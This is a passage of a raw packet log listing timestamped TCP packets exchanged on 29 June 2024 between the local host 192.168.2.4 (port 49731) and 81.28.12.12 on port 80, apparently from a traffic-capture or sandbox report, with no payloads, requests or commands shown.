Jun 29, 2024 08:05:15.795932055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.795943975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.795954943 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.795958996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.795979977 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.796019077 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.796029091 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.796046972 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.796088934 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.809724092 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809787035 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.809868097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809883118 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809891939 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809900999 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809911013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809920073 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809926033 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.809935093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809943914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.809945107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809954882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809962988 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809972048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809973001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.809973001 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.809981108 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.809990883 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810004950 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810005903 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810017109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810024977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810035944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810036898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810036898 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810046911 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810056925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810065985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810066938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810076952 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810076952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810086012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810101032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810102940 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810127020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810184002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810259104 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810307026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810308933 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810321093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810348034 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810408115 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810408115 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810419083 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810429096 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810439110 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.810447931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810466051 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.810542107 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.811294079 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.811449051 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.811460018 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.811470032 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.811511993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.811548948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.812751055 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.812906981 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.812935114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.813102007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813112020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813167095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.813167095 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.813251972 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813388109 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.813395977 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813406944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813467026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.813467026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.813709021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813811064 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.813864946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813875914 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813884974 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813894987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.813918114 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.813971996 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.814008951 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.814018965 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.814028025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.814038038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.814047098 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.814054966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.814086914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.814086914 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.814111948 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815036058 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815195084 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815203905 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815212011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815221071 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815231085 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815341949 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815371990 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815387011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815396070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815404892 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815414906 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815423012 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815424919 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815434933 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815443993 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815444946 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815454960 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815466881 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815468073 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815481901 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815483093 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815493107 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815500975 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815509081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815509081 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815536022 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815545082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815553904 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815553904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815565109 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815574884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815583944 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815591097 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815593958 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815604925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815618992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815622091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815622091 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815629005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815638065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815649033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815651894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815670013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815692902 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815722942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815855026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815865993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815874100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.815918922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.815918922 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.816004992 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.816160917 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.816163063 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.816174984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.816184044 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.816209078 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.816319942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.883182049 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883193016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883202076 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883215904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883240938 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.883316994 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.883332968 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883343935 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883352995 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883379936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.883394957 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.883518934 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883528948 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883538008 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883548021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883558035 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883568048 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883575916 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.883579016 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883586884 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.883596897 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.883620024 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.883699894 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.886795998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.886806011 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.886816978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.886872053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.886872053 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.886967897 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.886979103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.886987925 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.887001038 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.887016058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.887116909 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.887736082 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.887881041 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.887881994 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.887892962 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.887903929 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.887912989 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.887975931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.887975931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.888056993 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.888067961 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.888076067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.888119936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.888119936 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.898587942 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898598909 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898607969 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898650885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898675919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.898675919 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.898725033 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898751020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898751020 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.898765087 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898776054 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.898854017 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898860931 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.898864985 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898874998 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898885012 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.898926973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.898926973 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899094105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899102926 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899111986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899127007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899137020 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899142027 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899147987 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899158955 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899172068 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899172068 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899193048 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899220943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899267912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899358988 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899560928 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899676085 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899688005 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899764061 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899772882 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899785042 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899852037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899861097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899872065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899878025 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899880886 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899898052 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899907112 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899909019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899909019 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899956942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899956942 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.899986029 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.899995089 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900003910 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900013924 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900032043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900032043 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900068045 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900078058 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900104046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900115013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900156021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900156021 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900207043 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900216103 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900223970 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900233984 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900249958 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900280952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900280952 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900285959 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900309086 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900320053 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900321960 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900434017 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900494099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900502920 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900511980 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900521040 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900532007 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900541067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900563002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900598049 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900624037 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900634050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900644064 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900651932 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.900671005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.900739908 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.901789904 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.901837111 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.901870966 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.901880026 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.901885986 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.901895046 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.901906013 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.901937008 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.901993036 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902018070 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902028084 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902038097 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902049065 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902062893 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902091026 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902122021 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902152061 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902242899 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902251005 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902259111 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902268887 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902278900 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902296066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902296066 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902321100 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902332067 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902348995 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902380943 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902407885 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902417898 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902427912 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902441025 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902451038 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902496099 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902522087 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902539015 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902565002 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902600050 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902607918 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902616978 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902623892 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902627945 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902652979 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902676105 CEST	80	49731	81.28.12.12	192.168.2.4
Jun 29, 2024 08:05:15.902707100 CEST	49731	80	192.168.2.4	81.28.12.12
Jun 29, 2024 08:05:15.902745008 CEST	80	49731	81.28.12.12	192.168.2.4
